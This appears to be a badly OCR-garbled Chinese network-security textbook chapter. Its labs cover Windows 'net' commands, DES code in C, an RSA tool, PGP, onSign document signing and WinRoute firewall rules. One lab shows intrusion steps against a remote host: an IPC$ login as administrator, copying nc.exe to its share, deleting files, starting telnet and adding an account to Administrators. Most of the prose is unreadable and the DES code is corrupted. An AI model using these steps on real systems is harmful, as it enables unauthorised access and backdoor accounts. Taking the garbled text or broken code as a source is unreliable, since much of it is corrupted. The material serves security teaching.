Lisonet use SN192.168.1.2Ndpcb suser:administrator

use “\\192.168.1.2N\ipc$ Auser:administrator

N\N192.168.1.2Nipch

I1PC
0K

B 9-45 net use BT {EFEHE

18 2 e B2 il 55 4 » e m] AR e A2 il 55 i 9 SO 52 T 3] %% 7 i o a2 A copy \\192. 168, 1. 2\c 3 \
A2 e\ o I U ik 55 a9 A SCFE R BN Z P i) C AR H R T .45 5 5 mZE 44 4
FI ) HAh DOS sy S5t /] LA T

(3) B4 o AR 55 2 b A9 SCHF . i del \\192. 168. 1. 2\c $ \al. txt, Z/~ Mg C & /Y
al. txt L{F.

4) net start Fl net stop iy 2 )8 sl A FE EHL A IR 55

£ DOS 154 T & A net start telnet, Bl E LN I B 3 T telnet IR 5, WK 9-47 Fr s,

R A L e MO I e EVLAY A5 AT E 1T FH net stop ap 2 =gt ol L1 ]
B net start #H[A] .

5) net localgroup 235 Fr A F1H P HA A5 B IFJE1 T A0 AR

B Em ey EES— AP 245 N malimed, B2 1234 . BIAE DOS $imm
A net user malimei 1234 /add,

YR J5 Hi A net localgroup administrators malimei /add 2 malimei B /P i A %
Administrators ¥ 2% FH P 4H .

i J5 Wi A net user malimei 2 5 H P AR S, a0 & 9-48 Py 7
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AR SR AL R A

oo Cz\VINDOWS\systead?\cad. exe

:“Documents and Settings“Adainiszstratorddir
HEhes ¢ EHS

. l: Uir'l xf'
M=% D4B3I-DHBE

C:\Docunents and Settings“\Adninistrater HJHE

1l
)|
18
L
18
11
L Y
L) |

ah
26
18
14
18
13
1%
26

17
19

15
5 E ]

|
:21
15¢
22:
4R
36
19:
19:

18
17

-1

<PIR>
CDIR>
{DIR>
<DIR>
{DIR>

<DIR>

AppData

Favorites
Funzhion

691 Funzhion.indi
Hy Documnents

|
i

21 B nc.exe
18 23:35 (DIR> iR
o - 12:26 {DIR> % i

2 - ...- "..': [‘El —
g F"EF 34.919.043.0872 @

siDocuments and Settings\idninistratordcopy nc.exe ~\192.168.1.5\ipc?
=51 1 A

CisDocuments and Settings \Admninistrator?

B 9-46 BEIEEEERLEENXH

<t C:\WINDOWS\systeal?\cad. axe L

_

2 Documnents and Settings\idministrator’net start telnet
#¢lnet BN

:1\Docunents and Settings“\Administratord

9-47 B3 telnet iR %

malimei Zadd

malimei

008 <& B (ED
Yes

A

=
Etg
=
1=

o

2016128 T 11:50
2016311 FF 18:38
2016128 FF 11:58

Yes

—

I A
AR

S5

pal3=e]
7
1Jd
o
i
=

Yes

e
43
= .

4
Fi

L
L
A
it
&
i
2
L

)
Y

PRI 0P YNET

AT

#*fldministrators

#MNone

E9-48 HBEEBRFMAZBLEBRA
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6) net time fr 5 7€ 2 IR 55 %% 24 /7 A E (8]
3 . net time \\192. 168. 1. 2, [& 9-49 7.

v C:\FINDOWS\aystead?\cad. exe

» 2y |

zs \Documents and Settings“Adninistrator’net time “\\192.168.1.2
\W192.168.1.5 BISH8T 6 20141729 M9 12:43

i \Docunents and Settings“Administrator)

E 9-49 B Rix 2Rk 525 H0 0 iE
BEW .
1. x> net fp A @ ST G038 I & i .
2. HnetmpS &8s HP AP MBS aHT .

%4 DES SLEN R LI

1. XWHM

R DESH L B nf L i A Cilt S Sc M HmE s Ek., Iy E
VC++ 6.0 P85 T K 1 .

2. XWETERMG

1E VC++ 6.0 st T4 6 519 Win32 i HFEF .

3. XBWPRK

# include "memory. h"
# include "stdio. h"

enum {ENCRYPT, DECRYPT} ; // ENCRYPT: Jjj| % , DECRYPT : fiif. i
void Des Run(char Out[8], char In[8], bool Type = ENCRYPT) ;
/] % EEH

void Des SetKey(const char Key[8]);

static void F func(bool In[32], const bool Ki[48]); /] £ RE

static void S func(bool Out[32], const bool In[48]); // S ECE

[/ 2R

static void Transform(bool * Out, bool #* In, const char * Table, int len);

static void Xor(bool # InA, const bool % InB, int len); // Hik

static void RotateL(bool # In, int len, int loop); /] 13 L F

/1 5T A e A A

static void ByteToBit(bool #* Out, const char % In, int bits);

AR VAR E: Y A v

static void BitToByte(char % Out, const bool % In, int bits);

// B IP 3

const static char IP Table[64] = {
58,50,42,34,26,18,10,2, 60,52, 44,36,28,20,12, 4,

62,54,46,38,30,22,14,6,64,56,48,40,32,24, 16, 8,
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57,49,41,33,25,17,9,1,59,51,43,35,27,19,11, 3,
61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7
b
[/ E R TP -1 3
const static char IPR Table[64] = {
40,8,48,16,56,24,064,32,39,77,47,15,55,23,63, 31,
38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,
36,4,44,12,52,20,60,28,35,3,43,11,51,19,59, 27,
34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25
}s
//E ;R FF
static const char E Table[48] = {
32,1,2,3,4,5,4,5,6,7,8,9,
8,9,10,11,12,13,12,13,14,15,16,17,
16,17,18,19,20,21,20,21,22,23,24,25,
24,25,26,27,28,29,28,29,30,31,32,1
b
/ /P e i e
const static char P Table[32] = {
16,7,20,21,29,12,28,17,1,15,23,26,5,18,31, 10,
2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25
}s
//PC1 % i 3
const static char PC1 Table[56] = {
57,49,41,33,25,17,9,1,58,50,42,34, 26,18,
10,2,59,51,43,35,27,19,11,3,60,52, 44,36,
63,55,47,39,31,23,15,7,62,54,46,38, 30, 22,
14,6,61,53,45,37,29,21,13,5,28,20,12,4
b
//PC2 AL
const static char PC2 Table[48] = {
14,17,11,24,1,5,3,28,15,6,21, 10,
23,19,12,4,26,8,16,7,27,20,13, 2,
41,52,31,37,47,55,30,40,51, 45,33, 48,
44,49,39,56,34,53,46,42,50, 36,29, 32
b
/172 ¥ A B 3k
const static char LOOP Table[16] = {
1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1
b
/] S &
const static char S Box[8][4][16] = {
// s1
14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,
0,15,7,4,14,2,13,1,10,6,12,11,9,5,3, 8,
4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,
15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13,
//52
15,1,8,14,6,11,3,4,9,7,2,13,12,0,5, 10,
3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,
0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,
13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9,
//S3
10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,
13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,
13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,
1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12,
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//54
7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,
13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,
10,6,9,0,12,11,7,13,15,1,3,14,5,2,8, 4,
3,15,0,6,10,1,13,8,9,4,5,11,12,7,2, 14,
//85
2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,
14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,
4,2,1,11,10,13,7,8,15,9,12,5,6,3,0, 14,
11,8,12,7,1,14,2,13,6,15,0,9,10,4,5, 3,
/ /56
12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,
10,15,4,2,7,12,9,5,6,1,13,14,0,11, 3,8,
9,14,15,5,2,8,12,3,7,0,4,10,1,13,11, 6,
4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13,
//S7
4,11,2,14,15,0,8,13,3,12,9,7,5,10,6, 1,
13,0,11,7,4,9,1,10,14,3,5,12,2,15,8, 6,
1,4,11,13,12,3,7,14,10,15,6,8,0,5,9, 2,
6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12,
//S8
13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,
1,15,13,8,10,3,7,4,12,5,6,11,0,14,9, 2,
7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,
2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11
b
static bool SubKey[16][48]; // 16 [ +54H
void Des Run(char Out[8], char In[8], bool Type)
{
static bool M[64], Tmp[32], *Li = &M[0], *Ri = &M[32];
ByteToBit (M, In, 64);
Transform(M, M, IP Table, 64);
if( Type == ENCRYPT ) {
for(int 1=0; 1i<16; i++) {
memcpy(Tmp, Ri, 32);
F_func(Ri, SubKey[i]);
Xor(Ri, Li, 32);
memcpy(Li, Tmp, 32);
}
lelse]
for(int 1=15; 1i>=0; 1—— ) {
memcpy(Tmp, Li, 32);
F func(Li, SubKey[i]);
Xor(Li, Ri, 32);
memcpy(Ri, Tmp, 32);

}
Transform(M, M, IPR Table, 64);

BitToByte(Out, M, 64);
}
void Des SetKey(const char Key[8])
{
static bool K[64], *KL = &K[0], * KR = &K[28];
ByteToBit (K, Key, 64);
Transform(K, K, PC1 Table, 56);
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for(int 1=0; 1<16; i++) {
RotateL(KL, 28, LOOP Table[i]);
RotateL(KR, 28, LOOP Table[i]);
Transform(SubKey[i], K, PC2 Table, 48);

}
void F func(bool In[32], const bool Ki[48])

{
static bool MR[48];
Transform(MR, In, E Table, 48);
Xor(MR, Ki, 48);
S func(In, MR);
Transform(In, In, P Table, 32);
}
void S func(bool Out[32], const bool In[48])
{
for(char i=0,j,k; 1<8; i++,In+=6,0ut+=4) {
7 = (In[0]<<1) + In[5];
k = (In[1]<<3) + (In[2]<<2) + (In[3]<<1) + In[4];
ByteToBit(Out, &S Box[i][j][k], 4);

}

void Transform(bool % Qut, bool * In, const char * Table, int len)

{
static bool Tmp[ 256];

for(int 1=0; i<len; i++)
Tmp[i] = In[ Table[i] -1 ];
memcpy(Out, Tmp, len);

}
void Xor(bool % InA, const bool * InB, int len)

{
for(int 1=0; i<len; i++)
InA[i] ~ = InB[i];
}
void RotateL(bool % In, int len, int loop)
{
static bool Tmp[256];
memcpy(Tmp, In, loop);
memcpy(In, In+ loop, len— loop);
mencpy(In+ len— loop, Tmp, loop);
}
void ByteToBit(bool % Out, const char % In, int bits)
{
for(int 1 =0; i<bits; i++)
Out[i] = (In[i/8]>>(1i%8)) & 1;
}
void BitToByte(char % Out, const bool % In, int bits)
{
memset(Out, 0, (bits+ 7)/8);
for(int i =0; i<bits; i++)
Out[i/8] | = In[i]<<(i%8);
}

void main()
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char key(8] ={1,9,8,0,9,1,7,2},str[ ] = "test";
puts("Before encrypting");
puts(str);
Des SetKey(key);
Des Run(str, str, ENCRYPT);
puts("After encrypting”);
puts(str) ;
puts("After decrypting");
Des Run(str, str, DECRYPT);
puts(str) ;

}

4, XBWER
W E— 4 M char key[ 8]1=1(1,9,8,0,9,1.7,2} BN ) FAF 5L =2 str =
"test" .| H] Des_SetKey(key) i BN &1 % 4H . Des_Run(str, str, ENCRYPT) X} 4

AR SCHEAT N Hop 5 — S 280 ste J2 50 1 138 3050 B2 st s 5 A BH 30, Mo
(H ENCRYPT & & i1 m&Ez 5., BIFHATHEERW TR,
Before encrypting

test
After encrypting

T] :c<F )
After decryping
test

Press any key to continue

BET. BUUFEHAME NS FA 12 H DES B 35208,
25N RSA Bz

1. XWE/

fRYE RSA BEA R, Al A H Cif 5 SC M E MR RiL . RSABEW DESE
R AR IR ) PR S I A K

2. IWAMERKE

VC++ 6.0,

PAE 245 8 Windows XP #f#& Windows Server,

3. RWHR

A RSA S8 SRR A7 I %% A 2% o SRR AR 8 A 3 = AR R ZEEL p Mg TR AR g
p Mg BIE AR Go) 281 (o) MRV (D BT VC++ 6. 0 SEBAZ.O B Qi 9-50 s

G PEPRAT R . W] 9-51 Fr . 3200 T HE 2 HE 199 Ty 6 A2 X R %85 19 SC 4 A7 &, I
Al LA E 280 1 SOk 1T A 5%



THE AR KA R A

9-50 HERIHM

9-51 RSAMFEXEHRE
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TEE 9-51 i i 7 4L 7= 2k RSA BHIXS " 72 H BLAY X TE AE P i e = AL R 8 p MR X
q » WER =K JE 100 K209 p A1 g« K2V 2 10 B A Ay - = AR i SR B & 9-52 B

X
HEIRE
Ftp |wn Fiiq |mu AEe |2un (163#%| p, q: 100-300f%. e: 200-6001, H <=p, ql€H 2 )

X% (100)
=4 | «-Er.?\.l SH>> | IF1TBCBCB1EETFBBCBQFDEMEEEQFAEEEEFBCBEUEBUTFCBMI OE666D51TO3FDECOBTCC

AR (100)
| <<BA | S>> | [SE6ETDDEDF52E343121 1 6FF8220 1 FSE36E094F 755AC50026ED 77 15CF 321 0CEBE98CEY

FEENN
- 2 S ATRIERAMZLE RILEN, B ERAE.

f@in (D) F|H»
wEe(0) FE>»
FE4(D) S>>

B 9-52 F=HEH pHg
FIHZEE p g P X, =AM G R ME 9-53 s,

x
KRR
Fehp |wu F40q |mu Ae |zuu (1638 p, q: 100-300fF. e: 200-600f, B =p, glcFEZ )

-4 EEp (100)
=4 |<<-§AI #ﬂ:.>>| IFlTEC:’»CB1EETFBBCUQFU&MEEEQFAGEEEFBCBEUEBIJTFCBMIBEﬁEEDEITQSFDEEUBTCC

-FEFq(100) =

l. -
% | «8A | B> | [6ECETDDEDF! \',) BIFEBN o TE5AC50026ED 77 15CF 321 0CA5E9BCES

[z ] |
EETAY -
=t | L AT RIEBAMEL M, LK, R TR,

ffin (200) Fi#1>> | [BB8C846092039315D629D4EABE4 36DISIABADDIGEE4BE 32EF 988 1ECE6284DBDBCA1T9

/A%e(200) Hii>> | [DBOFOESBDB5IEE I5ETFD625366068538F GEADI3A60594E22CEIB29 1FI0ADDO4248172

FE d(200) SFE» ID9323E706AD13¢MF991F91 14BD6EESE39228B2FF5019498207T1DOF0ICTCTFS42AEFDC

B 9-53 FAEEEX
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W ZTCREAE RLHIRE n B e FALEH o 5 1 55 DRAF SCAF o 2 A ik 10 5 2 b 22 2
X =AM HrP B MRV d IR INGE 858 n A28 e FORMRAE o R =4 SCF 0 SR AT
nE 9-54 Frow,

7 §H.axt filn.txt FLEH. txt
E9-54 =/4mEZExH
1E ERmESE DI F AR n txt” 3] RSA“EL n” SCAHE , F A“FAHH. txt”

SO A txt” I AR AL txt” IR A A AR AL o7 R ZIR AR
e L ARG E 9-55 Frow . I SE R EAJR - B 3l 24 — AT SCrF . i 9-56 Fros

. Lol
SA/EIE
WA Fﬂﬂemmts and Settings\Administrator’ S M \IIE \wait. tat T
St XM [C:\Docunents and Settings\Adnanistrator\SLM \IIE \wait, txt.ncs EREHE
LS SENC
B LR | 18

RSAREH (109) [D97TDEAAZF 2F | EQFIDEADED TCSE 1 16D554FAAGEDIBHTE634921 50ABGIDSAZT2TIED LM (A
RSAMLn (200) [BF7450CHOBE307346044C6423300 I6CFOEODFOEBDAAIT 303 304A260A1 22FFB24ASECA  CCBA

ESEY Lo ] i~
iy | - : I
i
MEM® | G MAIGE  C DESHIE
O N
r WEERIEXH & BERNIET
wE | FARSAERT | |

B 9-55 mEIE

5

test. txt test. txt.mcs

B 9-56 il 3L F0 0 & 3

B T AR A S XHIEAE P A O 0 S FR & | sh 28 il it %,
PEEE B n. txt”HIZ 8 L i L AR Wi &l 9-57 P,
S I LIS A E I5 SCE A 9-58 s fit 25 5 1 SCE i/ 9-59 s .
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A —=E.
#9F K oy
=101 x]
- FA/ g
i3 IC:\.Dncmnts and Settings\Administrator\ Sl \NiE \wast. txt. mes i
SiB T IC:\.Duculents and Settings\Administrator\SSE\DIE \waitl. txt k3ET
- EERURE Jiifiditaid
AR
-MCS
Rsmﬁ[m]ﬂ] BAD305374D2 1 AICT2CE40D8096D 1D042873376C 1480 TCC45337T167T2C24004E030E906 ((—E}k l
RSAfSn (200) (EF745DCBOB5397346044C542330936CF9EODFOEBB4A37393304A250A122FFB24A3ECA K(KBA I
 #AsKESNE (FEte, oz x|
3 st e

~HS
o E:Eg:j Fgﬁﬁﬁxwﬁmg.
w4 e /=il
IR
™ hoE JE e B i
I~ %% ElErhnE i v BT
wE | PARSAEMN | - |

B 9-57 m@ELE

P test.t=t — 1035
XHE wEE B EFFY |
abc123456789)

B 9-58 B
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P testl.txt — 034

NEE HEQ BAQ FFY FHW
abc123456789)

B 9-59 BMERHXH

B HA DES Hik A RSA JEk g A,
SRYEIL PGP s SCOERbs o1

1. LWHR

(i PGP A4 ml LA fag 3 10 i 280 S5 30 R 44 =38 S hn s V87 4544
2. XWABEEMG

#1E 24t & Windows XP 5{# Windows Server,

T HAk{. PGP 8.1,

3. XRISE

1) {fi fH PGP 1% 3¢ %

AFRH AT AL 2TEENA 1 PGP MM LR MEHN ™A X B AHERE .,
JH PGP A] DU A # SO A o 22 59 SO 2 3 PGP SR I AY SE R Encrypt, 411[& 9-60
FER .

@J s

HF-IK'E)
FIFAHEM >
HIEIUN) 4
EEE oo
-
::E) Epcrypt & Sign

B 9-60 it FE R G



% 9% % o5 207

PR AE T8 P e 8 A A . b B A s, Bl OK $Z 411,
K 9-61 7 .

& PGPshell - Key Selection Dialog llﬁl
Drag users from this kst to the kst _Valdity

Validity Size
mzlimei<malimeifhebtu. edu. ecn> E 2048/1024

S I N

™ Input Is Text

™ Wpe Original

[ Seauxe Viewer

™ Corventional Encryption
[T Self Decrypting Archive

B 9-61 E“EZS
Hbr X% 772400 H sk T A 3= 28— 3 gl 9-62 s,

"\
2; @
-l > o @

Eﬁﬁ.ﬂi ﬂﬁﬁ.xl:.pgﬁ
B 9-62 FEXHMMERFIZH

FTI NG I 9 SR » B2 P H sh 2R 5 A it » an A ST I B 19 6, ] 9-63 o

PGPmail - Enter Passphrase _tlﬁl

Message was enciypted to the followang public key(s):

malimei<malimei@hebtu adu cn> (DH/104%

Enter passphrase for your private key : ¥ Hide Typing
I

[ ]| _coxce |

B 9-63 MEXHMERBANTSD

2) {8 PGP i % i 4

PGP ) =3 hRE M M, L3 52 e im . PGP A sh il Outlook % Outlook Express
Jelk . 1 Outlook Express EcU & 9-64 A7,

FIH Outlook #ESZHR A, n] LLEE£EAIH PGP #E 17 %% f125 2 . an &l 9-65 Fras .,
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= Outlook Express_ =101 x|
| ¥HE ®EEO SEY TAD mSHe o &)
‘ @ - m L m Ji - &?

| Wl | GEEE | BAMe EE PGPheys

= Qutlook Express

Blas 3 X 8N A
¥ Outlook Express G:‘
= @) FHTHER

o s )

@ RitiE e H&RAR

x
W Clws e R E5
(3 E8pesstt DERERE L 302 L L o
ragpron EE, TP
oM A “SRA" T2 b
BEFAO ~ . BEEEES 2?' e
RARRAGET, EHRA LR | ey
EF AR SO E . IR T S8
TR &, FNRFIER |
| |® FERSIE 4
E 9-64 PGP X Ex outlook express
ot et N -10] x|
- XiHE ®EE FEFY SHAD #BA0 IAD @M MEEhH 0
=3 ‘ % @ B <) \ 2, i
ME | TV EH *5ih el | &
5 Lt 2 T mERE
8 Wiz ) mr
3 3! thsem -
;II | E B 7 Uﬁ = = IE = ;_Eﬂmﬁﬂﬂmﬁﬂ‘m
B4 Encrypt Message (S/MIME)
T B o
'[ @ Encrypt Message (PGP)
| BF si0n Message (PGP)
d.? PGPkeys

 9-65  hnE B
BB 2] ] PGP s #0225 S B A o

KIS B %5 4 onSign

1. R HB

AT i 45 1) Word SCFS A 0O Z AT R, M B 1k 4w 5 4519 Word ST 4 01] A E
ol av s, FRATT AT DA 25057 28 22 X b A7 %% . onSign & — @G i 2 17% . 4 Word
SCRY O I B 25 24 W A« AT DU A SO 2 15 8 B el

2. ZWAERNG

PAVE 24 8 Windows XP (& Windows Server,
TE:%L:{EF UHSign 2.0,



o
o
e
\H
B
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3. TRTE

1) BR3¢

T # “onSignV2. 07 UAS %% SO BIASHL A8 L% S an &l 9-66 Frzn , e s Bcf 2 9
TEM T O AT Ry B 4 Off-line vy 20, fF 2k 227 A oy 5~ Wp 78 7 TR B IS 4, JF
EFE K BEM 7 il I 1. BT onSign H AW A IR A 2 #14 Word 2000 445 /Y
£ Word 2003 W23 )5 » B A28 onSign S BLES N 2] Word SCH A9 3¢ BAS H 78 G 70
A BT 5% A 0 ORI 2 8 A onSign 1% %< H 5k, Bty 44 4 onSign /) Word #ifl , J5
Il IR T,

2) EES

i# 77 onSign—>Sign Document i A {45 m . By Signature Wizard, @11& 9-67 7~ ,
JEA VB 24 1), o] DL o Rl iR A B = R A S A . LA A
17 )7 XM ] S i E i — 5k 3 S 55 2005 19 bmp #& A2 2 B R 8 B R A2 0 i 2]
File Name 1, 31 R 8 4 & i B 45 24 B8 A& AV 0058 1 128 44 B 7 i

onSign Electronic Signature

Welcome ta onSign 2 0 Viewssr Setup piogram.
g This program will install onSign 2 0 Vievsel on yols
e competes

O 0r1SIGN

Helcome to

Tharks for tiying onSwgn 2.0

Before you cam begin mipgning your electronic documents
azing onSign, you must first create a CPS file of your
signature. A CFS file encrypts the image of your
To create your own CPE file, select the 'Signature

If you already have u CFS £1le of your signature or 1f
Iou want to try out the sample CFS file select the "Sigm
it Bkl s

Note: the password for the sample CPS file iz mysign

[T Don’' t show ma thiz mezsars ayw

[Signature Wizard | | Sign Bow | Cancal

B 9-66 ZEFM B 9-67 REEZME

3) i &4
7 2 58 T A 19 SO IR AR5 - 38 1 onSign—>Sign Document #E A B4 51, Hd5 Sign
Now Ffé A0St nl LA U B B8 F %4 1 . WE 9-68 s,

E9-68 YHZBHFEZEZ



210 A% %25 K HA

4) f %2

TEFT A BT 2 2 0 KR Ja W5 SCRTE NN T BT 24 e R g ol . JRATRGE £
AR A SER RN . MRS i 2 e 242 R otk ks .

5) JL A5 1 BH

7E Word 2000 T, 4R HRAFHEF 24 0005 . J AT T LI 36 8728 24 T Oy $ 4t 19 %
BT 2 onSign Viewer, BLA T B4 %% onSign | . (HE RS AHAYE Word 2003, #1Y JG
WEBRMAEEGEHNFE A, #F H onSign, M A B4 % onSign Viewer, K & onSign
Viewer &% 525 Word 2003 1 onSign iy A IEH T AE.

BE: %)M onSign X} Word %4 .

S5 +—  H WinRouteFirewall 5 61 &t 42 13 3 B |

1. LW EHB

HH WinRouteFirewall 5 G/ #4555 8 AL ] . 2% | B ping fig &, 28 FTP 51q], 25
HTTP jjq] .

2. RWETERH

2 P HLEEYE &4 . Windows 2000 /Windows XP,IP #iihl A 192. 168. 2. 1,

%55 #5450 2 46 . Windows 2000 Advance Server / Windows XP,IP #ihil- &y 192. 168. 2. 2.,

INAL A Snifferd. 7.5/ Wireshark-win32-1. 4. 9 W1 kiR .

SCUG I, AR A S HLAS . AT LA B UL . 78 B AL T % 3 ik 55 4% Windows 2000
Advance Server /Windows XP, 7] DA% H AL A 55 a4 [ 22 2 2 g L F .

T H M. kerio-wrs-5. 0. O-rcd-win. exe,

3. XBRTRH

(1) — > ATHE Yy o3 200 D8 Bl K RS HORT T K4, FR AT S 1 L2 B A8 1y B 00| 4K

S — R . EHL 1001 101 ARART v 135 [m] A {a] 32 WL A AE ] v 1, 36 TCP Bhisl i 2L
Pt AP LT A .

5 AH . AT AR FALAY 20 56 05 R EML 100 1010 1 B4R 5 0, 3 TCP U %k
P00 e 1T I o

S AN AR EALAY 20 3w H Y5 AL 100 10101 g E SN T 1024 /19 4w H L BT
TCP P A9 28 AL AR 2% 1F a8 o

TEIMI]?EH&HNJ%LﬁME EPiss 24

(2) &35, VSR M FE RS & Z M, Wit kerio-wrs-5. 0. O-rc4-win. exe,
LA BT W E 9-69 BN .

(3) Bz, &g s .8 3 WinRoute Administration, WinRoute {945 F 5w i & 9-70
FIP 7 .

FOATEO T B 2, B H OK, EARGEE M, YRAGEEL R TR E.ZF
PLEUKE A HE LI T BB e BRI S o B T 5 A B b, B0 AS b [ 25 5 ' 60 15 HE , 9K J5 A



.‘f‘.ﬁ[n!ln PinBRouie Fizrewall

Kerio WinRoute Firewall 5.0.0 RC 4

Welcoma to the InslallSheeld Wizard lor Keno
Winfloule FNirewall 5 0.0 AC 4

The brestal S bimkd " wigmid vell st all Ko W o=

Firseanll 5.0 0AC 4 on voll compidel  To contimue, chck
Mgsl

c) s o) mam L NS e

B 9-69 =EFE

Acticn

LD
g
LS

Settings Window Help

1 b @5 FanBEF S 5P

Open Configuration x|

~Configaration

Enter & hostname or an IP address of a computer
running YinRoute

WinRoute Host [Localhost ~]

Username [Adrl in

Faszword "

B 9-70 ZX5FM|
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H Ethernet 1)@ A B EHE 28 &b . &l 9-71 Fros .,

l:__: WinRoute Adiministration (localhost ) M
Acton \iew 3Settings Window Help

B 2?0 % B AR QW SAFG | R IS

Interfoces/NAT = N {
~Available Interfaces

AMD PCNET Family Eth. . 172 18.25.109
HRAS iagl 0.0.0.0 On

Interface Properties )(l

=

~Interface Description
Name . |AMD PCNET Fanily Ethernet Ada
B  1r sdaress 1721825100

Mask : 255 255,255 0
Ethernet oy  ddress 00-0c-29-9c-cB-ad IE%R! II
yd

—Settangs 7

[V Perform NAT with the IF address of this
@Ftn'f‘tu on all communication paszing

¥ Exclude this computer from|

[m= | wn |[@

Ready Connected to locahost | y

B 9-71 BEHEIAEE

(4) FH WinRoute € 2 £ 123 8 B0 , G 2 ) B0 N 25 42 . By 1k IR 55 a8 50 0 i 3 S AL
HI ping #5840 .
PRSI Packet Filter.qnE 9-72 Fr7is .

'::-"_ WinRoute Administration (localhost) M

B 7 preme o o n e 860G (R T 38

E 9-72 #“EGTEFERIN

FEAL 3 98 X T HE AT DUE B AT EVLEE A AR AR, qnE 9-73 Fr s

e 9-73 R Bl AR, B Add $E L H B A B8 R ) S 00 X6 S HE L BT AT ) o 8 A )
ARFE L AL T Tn , an &l 9-74 fi .

K4 ping 3§ 4 G P2 ICMP, By DX B2 X) ICMP Pl % B g& L0 . 72 Uil
frg) FerhkdE ICMP. & 9-75 Fiw .
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[# ¥ Dial in adapler

(¢ %7 Aay interface

9-75 & ICMP #93d iiE 4
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f£ ICMP Types £ H i ¥ i E 4k b . £ Action £ H i, B #£ FLiEAE Drop. 1
Log Packet #2 H ik Log into windo., & % 58 ¥ J5 iy OK % £, — 7% KL 0] gt 1) 5 B
wnE 9-76 Fras,

Edit Ttem x|
—Packet Deseription
trotoc! TN ]
- Source Destination _
Type ?l.l.ny address :_] Type illmy address :j
A ICHF Typas
v A11 ¥ Echo Reply | Redirect [¥ Time Exceeded |V Param, Probler
W Echo Request ¥ Unreachable [ Source Quench
- Aetion Log Packet Valid at
™ Permit ‘ .
et I™ Log into £ Ti o -
‘m; into windo | i |(ﬂl ys) J
0k | Cemea |
B 9-76 “wigid A
AT AR A A B R W 9-T7 B R .
Packet Filter ﬂ
Incoming |0u.t¢:¢in:|
= H3) AND PCHET Family Ethermet Adapter
(@) ICUF Any hos
- ?li.l in adapler
4 2V limel
i+ '@' Any interface
il
v

B 9-77 {EMW AR

X B SEE B P LN IR 55 45 ) ping 75 & 0], ik 55 4% WA -0 3 A0 A1) ping 384 1.
i HH ping R F= LB WA 21 15 L an &l 9-78 s .

BN GSAR AN BZ2C SR e R AL HE T, mERER View T 1%
BRI Logs—>Security Logs. & & H 4 5%,

(5) ] WinRoute 28] FTP ¥jlnl. FTP x5 /]l TCP ¥ . FTP & TCP #) 21 3w H
M4 2509 1P #ihl 52 192, 168. 2. 2, G Z I I 9-2 Frs .
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= C:\WINDO¥S\system32\cad. exe — ping 192. 168.2.2
icrosoft Windows XP [R-4 5.1.26081]
¢> WIFRA 1985-2001 Microsoft Corp.
:sDocuments and Settings“Administrator?>ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:
Regquest timed out.
equest timed out.
B 9-78 ping Ak 55 &5
F9-2 ZEHRFTIP g
HF S M1E iz 1P B/ IP 5 3w B #9355 O iR
1 2%k * 192, 168. 2. 2 * 21 TCP

A WinRoute #5715 [a] BRI, @0 & 9-79 A7
Edegtem x|

Facket Dezcription

trﬂlotollmll
Source DPestination
Type © [Any address | Type [Most hd|
IP Addres:|192. 168. 2. 2
Part [y ~l Porg ([Equal to (=) =] f2!
TCP Flag:

™ Only gstablished TCP connectio
[ Only esteablishing TCF cemnecti:

hetion Log Facket Valid at
" Perpit
™~ Drep | Log inte £ Tima I Always) ll

= Dy W Leg inte winde

OK Cuncel |

B 9-79 EBFZMH FIP 5 mn

BB TR RN LS . FE i IR AR 55 2% 192, 168, 2. 2 ) FTP R4 - 8 8 346 4, an & 9-80

B . vilalik B 7 Ui N, 2 78 FEVLA 24 H A idsk T k.

C:\>ftp 192.168.2.2
> ftp: connect :iEIEWIES
ftp> _

& 9-80 if19) FIP AR 55

(6) H] WinRoute 28] HTTP ¥ila], HTTP IRk 5 H TCP Wi, 5 H TCP #pis i 80 Ui

1, R4S P2 TP Mokl 192, 168. 2. 2, & S22 #0000 4n 2 9-3 Fr 7.
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F*9-3 ZEFA HTTP i[5 3

HFS Zh1E i 1P B &9 1P 8 3w O B #9350 e
1 3 * 192.168. 2. 2 - 80 TCP

Al WinRoute #237 U5 [A] HL0] , a0 & 9-81 P 7w

Edit Ttem

x|
Fackat Daxcription
trotece. NN ]
Source —Pestination
Type Il.nr address :I Type ]Hnt ;l

IF Address=[192. 168.2.2

Pert . Ii.nr 3

Porg - [Equal to (=) =] (80
~TCP Flag:

I~ Only gsteblished TCP comnection
I~ Omly establishing TCF commecti:

Astiom Log Pachaet Valid at
" Permit -
Log inte f -
- Tise | 1 ) -
= ::: W Leg inte winds l e ‘—j

0K I Cancel I

E 9-81 ZEF HTTP if (o) & M)

FIIPAM Y TE, & S f2 F ALY HTTP ik 55 R 8 2426, ani&] 9-82 Frox . Vi ln) i e
T U] R Bl AAE EALAY 224 H AR TPid sk ok,

2 Imtermet Explorer GO R EM G Windows Tl ermnel Exploris
Ter iy Ry EREe TAT W
OS- =ixi ==t FE I oL
P ERE S Caters Taplorer RRETHAN B-E - - Mip- #20- IAL- 8- "
“ Intermned Explorer 2B sl
. i T
* (FORfEaas B S niet
* TEE
- -
B ETINER
Em S e,
R T EE,
M CTRE A N S R
= WM
.
] “__
it S Inters 100t

B 9-82 AREEFTH AR5z AI M TT
:EI.E\ #@:

